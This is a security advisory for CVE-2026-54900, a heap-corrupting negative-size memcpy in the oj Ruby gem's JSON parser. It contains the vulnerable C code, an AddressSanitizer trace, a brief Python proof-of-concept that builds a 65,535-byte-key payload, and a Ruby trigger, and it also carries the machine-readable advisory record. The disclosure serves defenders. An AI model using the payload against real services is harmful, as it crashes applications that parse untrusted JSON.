GHSA-9CV6-QCJW-4GRX

Vulnerability from github – Published: 2026-06-19 20:47 – Updated: 2026-06-19 20:47
VLAI
Summary
Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling
Details

Summary

Oj::Parser#parse in usual mode with create_id enabled is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process.

Version

  • Software: oj gem
  • Affected: all versions with ext/oj/usual.c
  • Latest tested: 3.17.1 (confirmed present)

Details

ext/oj/usual.c, form_attr:

// usual.c:55–64
static ID form_attr(const char *str, size_t slen) {
    char        buf[4096];
    // ...
    int  blen = (int)slen + 1;    // ← truncates: 65535 + 1 = 65536 → wraps to 0
                                  //   or: 65535 cast to int = 65535 (fits),
                                  //   but blen = 65536 → INT overflow on +1 if slen=INT_MAX
    // ...
    memcpy(buf, "@", 1);
    memcpy(buf + 1, str, (size_t)blen);  // ← size_t(-1) = SIZE_MAX
}

The cache (cache_intern) uses a fixed 65,536-byte slab. When slen = 65535, the arithmetic wraps and memcpy is called with (size_t)-1.

ASAN report:

==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1)
    #0 memcpy
    #1 form_attr          /ext/oj/usual.c:63
    #2 cache_intern       /ext/oj/cache.c:326
    #3 get_attr_id        /ext/oj/usual.c:186
    #4 close_object_create  /ext/oj/usual.c:374
    #5 parse              /ext/oj/parser.c:693
    #6 parser_parse       /ext/oj/parser.c:1408
0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800)

Reproduce

Generate the payload:

key = 'A' * 65535
with open('poc.json', 'w') as f:
    f.write('{"json_class":"Oj::Bag","' + key + '":1}')

Trigger:

require 'oj'
Oj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read)
Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 3.17.2"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "oj"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.17.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54900"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T20:47:23Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`Oj::Parser#parse` in usual mode with `create_id` enabled is vulnerable to heap corruption via a negative-size `memcpy`. When a JSON object key is exactly 65,535 bytes long, an integer truncation in `form_attr` (`usual.c:63`) converts the length to `-1` before passing it to `memcpy`. This causes `memcpy` to copy `SIZE_MAX` bytes (interpreted as a huge `size_t`), corrupting heap memory and crashing the process.\n\n### Version\n\n- **Software**: oj gem\n- **Affected**: all versions with `ext/oj/usual.c`\n- **Latest tested**: 3.17.1 (confirmed present)\n\n### Details\n\n`ext/oj/usual.c`, `form_attr`:\n\n```c\n// usual.c:55\u201364\nstatic ID form_attr(const char *str, size_t slen) {\n    char        buf[4096];\n    // ...\n    int  blen = (int)slen + 1;    // \u2190 truncates: 65535 + 1 = 65536 \u2192 wraps to 0\n                                  //   or: 65535 cast to int = 65535 (fits),\n                                  //   but blen = 65536 \u2192 INT overflow on +1 if slen=INT_MAX\n    // ...\n    memcpy(buf, \"@\", 1);\n    memcpy(buf + 1, str, (size_t)blen);  // \u2190 size_t(-1) = SIZE_MAX\n}\n```\n\nThe cache (`cache_intern`) uses a fixed 65,536-byte slab. When `slen = 65535`, the arithmetic wraps and `memcpy` is called with `(size_t)-1`.\n\nASAN report:\n```\n==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1)\n    #0 memcpy\n    #1 form_attr          /ext/oj/usual.c:63\n    #2 cache_intern       /ext/oj/cache.c:326\n    #3 get_attr_id        /ext/oj/usual.c:186\n    #4 close_object_create  /ext/oj/usual.c:374\n    #5 parse              /ext/oj/parser.c:693\n    #6 parser_parse       /ext/oj/parser.c:1408\n0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800)\n```\n\n### Reproduce\n\nGenerate the payload:\n\n```python\nkey = \u0027A\u0027 * 65535\nwith open(\u0027poc.json\u0027, \u0027w\u0027) as f:\n    f.write(\u0027{\"json_class\":\"Oj::Bag\",\"\u0027 + key + \u0027\":1}\u0027)\n```\n\nTrigger:\n\n```ruby\nrequire \u0027oj\u0027\nOj::Parser.new(:usual, create_id: \u0027json_class\u0027).parse(STDIN.read)\n```",
  "id": "GHSA-9cv6-qcjw-4grx",
  "modified": "2026-06-19T20:47:23Z",
  "published": "2026-06-19T20:47:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ohler55/oj/security/advisories/GHSA-9cv6-qcjw-4grx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ohler55/oj"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling"
}



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